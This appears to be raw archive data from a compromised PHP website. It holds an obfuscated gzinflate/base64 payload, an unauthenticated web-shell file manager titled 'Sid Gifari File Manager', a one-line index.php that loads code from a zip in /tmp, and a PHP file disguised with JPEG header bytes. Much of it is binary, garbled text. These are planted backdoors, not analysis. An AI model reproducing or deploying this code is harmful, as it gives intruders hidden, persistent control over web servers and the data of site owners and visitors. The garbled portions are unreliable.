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'),10,-8)))?$���:$����);goto ��ʂ;�ʟ�:if(!($�ȩ�[0x0002]==$ʟ��+0x028))goto ֔��;goto ���;ㅃ�:if(!($�ȩ�[0x001]==$ʟ��+0x0007f))goto ���;goto ����;����:}goto ���;��:function FYnYw($����){goto ���;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �Ű�;��ݿ:$ה��=$ה��+pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;Ö��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �Ѷ�;����:global $���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��ݴ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;�ټ�:global $ה��;goto ��;Ч��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto χ��;�諯:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ðل;��:global $��˯;goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ַ�;�䓫:global $ה��;goto �֝;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:��ڄ:goto �̙�;ע��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ��Ȯ;��Ȯ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ν�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;�Ű�:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;ᝪ�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �葡;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ŗ��;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto �ծ;���:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto �Ө�;ɡ·:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;�lj�:if(!($����<�ߕ(0x001992,0x0000019bd,0x00196a)($����)))goto ��ڄ;goto �䓫;ц˚:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PK uPm\�.�Q�% �% v95wi.phpnu �[��� <?php
// ================= CONFIG =================
$ROOT = realpath(__DIR__); // Define the root directory
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?'); // Base URL without query parameters
// Secure path resolver
function safePath($path) {
global $ROOT;
$full = realpath($path);
return ($full && strpos($full, $ROOT) === 0) ? $full : false;
}
// Get current directory from query parameters
$path = $_GET['path'] ?? ''; // Path parameter for navigation
$currentDir = safePath($ROOT . '/' . $path) ?: $ROOT; // Resolve directory safely
// ================= ACTIONS =================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Handle file uploads
if (!empty($_FILES['files'])) {
foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
if ($tmp && is_uploaded_file($tmp)) {
$destination = $currentDir . '/' . basename($_FILES['files']['name'][$i]);
if (move_uploaded_file($tmp, $destination)) {
echo "File uploaded: " . basename($_FILES['files']['name'][$i]);
} else {
echo "Failed to upload: " . basename($_FILES['files']['name'][$i]);
}
}
}
}
// Handle new folder creation
if (!empty($_POST['newfolder'])) {
$newFolder = basename($_POST['newfolder']);
if (!file_exists($currentDir . '/' . $newFolder)) {
mkdir($currentDir . '/' . $newFolder, 0755);
}
}
// Handle new file creation
if (!empty($_POST['newfile'])) {
$filename = basename($_POST['newfile']);
$filepath = $currentDir . '/' . $filename;
if (!file_exists($filepath)) {
file_put_contents($filepath, ''); // Create an empty file
}
}
// Handle file/folder deletion
if (!empty($_POST['delete'])) {
$target = safePath($currentDir . '/' . $_POST['delete']);
if (is_file($target)) {
unlink($target); // Delete file
} elseif (is_dir($target)) {
rmdir($target); // Delete folder
}
}
// Handle renaming files/folders
if (!empty($_POST['old']) && !empty($_POST['new'])) {
$oldName = $currentDir . '/' . $_POST['old'];
$newName = $currentDir . '/' . $_POST['new'];
if (rename($oldName, $newName)) {
echo "Renamed successfully!";
}
}
// Handle chmod permissions change
if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
$target = safePath($currentDir . '/' . $_POST['chmod_file']);
if ($target) {
$mode = intval($_POST['chmod'], 8);
chmod($target, $mode);
}
}
// Handle file content editing
if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
$target = safePath($currentDir . '/' . $_POST['edit_file']);
if ($target && is_file($target)) {
file_put_contents($target, $_POST['content']);
}
}
// Redirect after POST action
header("Location: $BASE_URL?path=" . urlencode($path));
exit;
}
// ================= FILE LIST =================
$files = scandir($currentDir); // Get files and directories
// Edit file mode
$editMode = isset($_GET['edit']);
$editFile = $editMode ? $_GET['edit'] : '';
$editContent = '';
if ($editMode && $editFile) {
$target = safePath($currentDir . '/' . $editFile);
if ($target && is_file($target)) {
$editContent = htmlspecialchars(file_get_contents($target));
}
}
// Build path segments for navigation
$pathSegments = [];
if ($path) {
$segments = explode('/', trim($path, '/'));
$currentPath = '';
foreach ($segments as $segment) {
$currentPath .= '/' . $segment;
$pathSegments[] = [
'name' => $segment,
'path' => trim($currentPath, '/')
];
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sid Gifari File Manager</title>
<style>
body { font-family: Arial, sans-serif; background: #f5f5f5; }
.container { width: 90%; margin: auto; }
h2 { text-align: center; }
table { width: 100%; background: #fff; border-collapse: collapse; }
th, td { padding: 8px; border-bottom: 1px solid #ddd; }
a { text-decoration: none; color: #007bff; }
button { padding: 5px 10px; cursor: pointer; }
.drop { border: 2px dashed #999; padding: 20px; text-align: center; margin-bottom: 10px; }
.permissions-form { display: inline-block; margin-left: 5px; }
.chmod-input { width: 60px; padding: 2px; }
.path-nav { background: #fff; padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; }
.path-nav a { margin: 0 5px; color: #333; }
.path-nav a:hover { color: #007bff; }
.path-nav span.separator { margin: 0 5px; color: #999; }
</style>
</head>
<body>
<div class="container">
<h2>Sid Gifari File Manager</h2>
<?php if ($editMode && $editFile): ?>
<!-- EDIT FILE MODE -->
<div class="path-nav">
<a href="?">🏠 Root</a>
<?php foreach ($pathSegments as $segment): ?>
<span class="separator">/</span>
<a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
<?php endforeach; ?>
</div>
<h3>Editing: <?= htmlspecialchars($editFile) ?></h3>
<form method="post">
<input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
<textarea name="content" rows="20" style="width:100%; font-family: monospace"><?= $editContent ?></textarea><br><br>
<button type="submit">Save</button>
<a href="?path=<?= urlencode($path) ?>"><button type="button">Cancel</button></a>
</form>
<?php else: ?>
<!-- NORMAL MODE -->
<!-- Path Navigation Bar -->
<div class="path-nav">
<a href="?">🏠 Root</a>
<?php foreach ($pathSegments as $segment): ?>
<span class="separator">/</span>
<a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
<?php endforeach; ?>
</div>
<div class="drop">
<form method="post" enctype="multipart/form-data">
<input type="file" name="files[]" multiple>
<button>Upload</button>
</form>
</div>
<!-- Create Folder Form -->
<form method="post" style="display:inline-block; margin-right:10px">
<input name="newfolder" placeholder="New Folder Name">
<button>Create Folder</button>
</form>
<!-- Create File Form -->
<form method="post" style="display:inline-block">
<input name="newfile" placeholder="New File Name">
<button>Create File</button>
</form>
<table>
<tr><th>Name</th><th>Size</th><th>Permissions</th><th>Action</th></tr>
<?php foreach ($files as $f):
if ($f === '.' || $f === '..') continue;
$full = $currentDir . '/' . $f;
$perms = fileperms($full);
$permission = substr(sprintf('%o', $perms), -4);
?>
<tr>
<td>
<?php if (is_dir($full)): ?>
📁 <a href="?path=<?= urlencode(trim("$path/$f", '/')) ?>"><?= $f ?></a>
<?php else: ?>
📄 <a href="<?= trim("$path/$f", '/') ?>" target="_blank"><?= $f ?></a>
<?php endif; ?>
</td>
<td><?= is_file($full) ? number_format(filesize($full)) . ' bytes' : '-' ?></td>
<td>
<form method="post" class="permissions-form">
<input type="hidden" name="chmod_file" value="<?= htmlspecialchars($f) ?>">
<input type="text" name="chmod" value="<?= $permission ?>" class="chmod-input" placeholder="0755">
<button type="submit">Chmod</button>
</form>
</td>
<td>
<?php if (is_file($full)): ?>
<a href="?path=<?= urlencode($path) ?>&edit=<?= urlencode($f) ?>">
<button>Edit</button>
</a>
<?php endif; ?>
<form method="post" style="display:inline">
<input type="hidden" name="old" value="<?= htmlspecialchars($f) ?>">
<input type="text" name="new" placeholder="New name" style="width:120px">
<button type="submit">Rename</button>
</form>
<form method="post" style="display:inline">
<input type="hidden" name="delete" value="<?= $f ?>">
<button onclick="return confirm('Delete?')">❌</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</table>
<?php endif; ?>
</div>
</body>
</html>PK uPm\�Q�g g index.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "1wx.php"; include("zip:///tmp/phptpd9aH#$h");?>PK uPm\"��g�X �X 916iu.phpnu �[��� ÿØÿà JFIF ÿÛ „ ( %"1!%)+...383,7(-.+
-+++--++++---+-+-----+---------------+---+-++7-----ÿÀ ß â" ÿÄ ÿÄ H !1AQaq"‘¡2B±ÁÑð#R“Ò Tbr‚²á3csƒ’ÂñDS¢³$CÿÄ ÿÄ % !1AQa"23‘ÿÚ ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6
öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ
